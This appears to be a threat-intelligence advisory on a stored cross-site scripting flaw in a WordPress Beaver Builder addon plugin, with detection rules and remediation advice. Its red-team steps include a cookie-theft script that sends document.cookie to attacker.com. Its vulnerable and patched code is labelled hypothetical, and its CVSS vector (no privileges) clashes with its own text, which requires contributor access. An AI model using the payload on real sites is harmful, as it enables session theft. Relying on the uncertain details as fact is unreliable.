CVE-2025-62990

Executive Summary

CVE-2025-62990 is a Stored Cross-Site Scripting (XSS) vulnerability in the Livemesh Addons for Beaver Builder WordPress plugin, affecting versions up to and including 3.9.2. This vulnerability allows an authenticated attacker with contributor-level access or higher to inject arbitrary web scripts into pages built with Beaver Builder. When other users (including administrators) view the affected page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability stems from improper neutralization of user-supplied input during web page generation. As of this report, no official patch has been released, and no public proof-of-concept (PoC) or exploit code is available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin from the WordPress dashboard or via direct download are at risk. The plugin is not distributed via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None (but requires an authenticated user with contributor-level access to inject the payload)
• User Interaction: Required (victim must view the compromised page)
• Scope: Changed (impact may extend beyond the vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used page builder plugin increases the risk, especially in multi-author WordPress environments.

Deep Dive & Mechanics

The vulnerability exists in the livemesh-addons-for-beaver-builder plugin, which extends the Beaver Builder page builder with additional modules. The plugin fails to properly sanitize or escape user-supplied input when rendering certain dynamic content (e.g., custom fields, module settings, or shortcodes). An attacker with contributor-level access can inject malicious JavaScript into a Beaver Builder module (e.g., a text block, heading, or custom HTML module). When the page is saved and later viewed by another user, the injected script executes in the context of the victim's browser.

Root Cause: The plugin uses functions like echo or print without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses_post()) on user-controlled data. This allows HTML and JavaScript to be rendered directly.

Attack Flow:

1. Attacker logs in as a contributor or higher.
2. Attacker creates or edits a page/post using Beaver Builder.
3. Attacker adds a vulnerable Livemesh module and injects a malicious payload (e.g., <script>alert('XSS')</script>) into a field that is not properly sanitized.
4. Attacker publishes the page.
5. Victim (e.g., admin, editor, or visitor) views the page.
6. The injected script executes in the victim's browser.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (example from a module):

<?php
// Vulnerable: directly outputting user input without escaping
echo $settings->custom_text;
?>

Patched Code (hypothetical):

<?php
// Patched: using WordPress escaping function
echo esc_html( $settings->custom_text );
?>

The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Livemesh Addons for Beaver Builder <= 3.9.2 installed and activated.
• An account with at least contributor-level privileges.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new page and edit it with Beaver Builder.
3. Add a Livemesh module (e.g., "Heading" or "Text Block").
4. In the module's content field, inject a payload such as:

   <script>alert('XSS')</script>
   

   Or a more sophisticated payload for cookie theft:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Save and publish the page.
6. Send the page URL to the victim (e.g., an admin).
7. When the victim views the page, the script executes.

Note: No public exploit code is available; this is a manual exploitation scenario.

Blue Team

Detection & Prevention:

• Monitor for unusual JavaScript in page content, especially in Beaver Builder modules.
• Use a Web Application Firewall (WAF) with rules to block common XSS payloads.
• Restrict contributor-level access to trusted users only.
• Regularly audit user roles and permissions.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Hunting Queries:

• Search WordPress database for <script> tags in wp_posts.post_content where the post type is page or post.
• Look for Beaver Builder-specific meta keys containing suspicious HTML.

Indicators of Compromise (IOCs)

• File Indicators:

  • Modified page/post content containing <script> tags in Beaver Builder module fields.
  • Presence of obfuscated JavaScript in the wp_posts table.

• Network Indicators:

  • Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Unusual Referer headers or Cookie data in outbound requests.

• Log Indicators:

  • WordPress audit logs showing creation/editing of pages by low-privilege users with suspicious content.
  • Web server logs showing requests to pages with injected scripts.

Detection Engineering

YARA Rule

rule CVE_2025_62990_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Livemesh Addons for Beaver Builder"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62990"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $livemesh_module = /livemesh-addons-for-beaver-builder/i
    condition:
        $livemesh_module and #xss_payload > 0
}

Sigma Rule

title: Stored XSS in Livemesh Addons for Beaver Builder
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via Livemesh Addons for Beaver Builder
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '<script'
            - 'alert('
            - 'document.cookie'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in page content (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-62990 Stored XSS Payload in Livemesh Addons"; flow:to_server,established; content:"<script"; http_client_body; nocase; pcre:"/<script[^>]*>.*?<\/script>/is"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Restrict user roles – Only grant contributor access to trusted users.
3. Implement a WAF with rules to block XSS payloads.
4. Add CSP headers to mitigate script execution.

Long-Term Fix:

• Monitor the plugin's official page for a security update.
• Consider switching to an alternative Beaver Builder addon that is actively maintained.
• If you must continue using the plugin, manually patch the vulnerable code by adding WordPress escaping functions (e.g., esc_html(), esc_attr()) to all user-controlled output.

Patch Details: No official patch is available at the time of writing. Users should check the WordPress plugin repository for updates.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated for CVE-2025-62990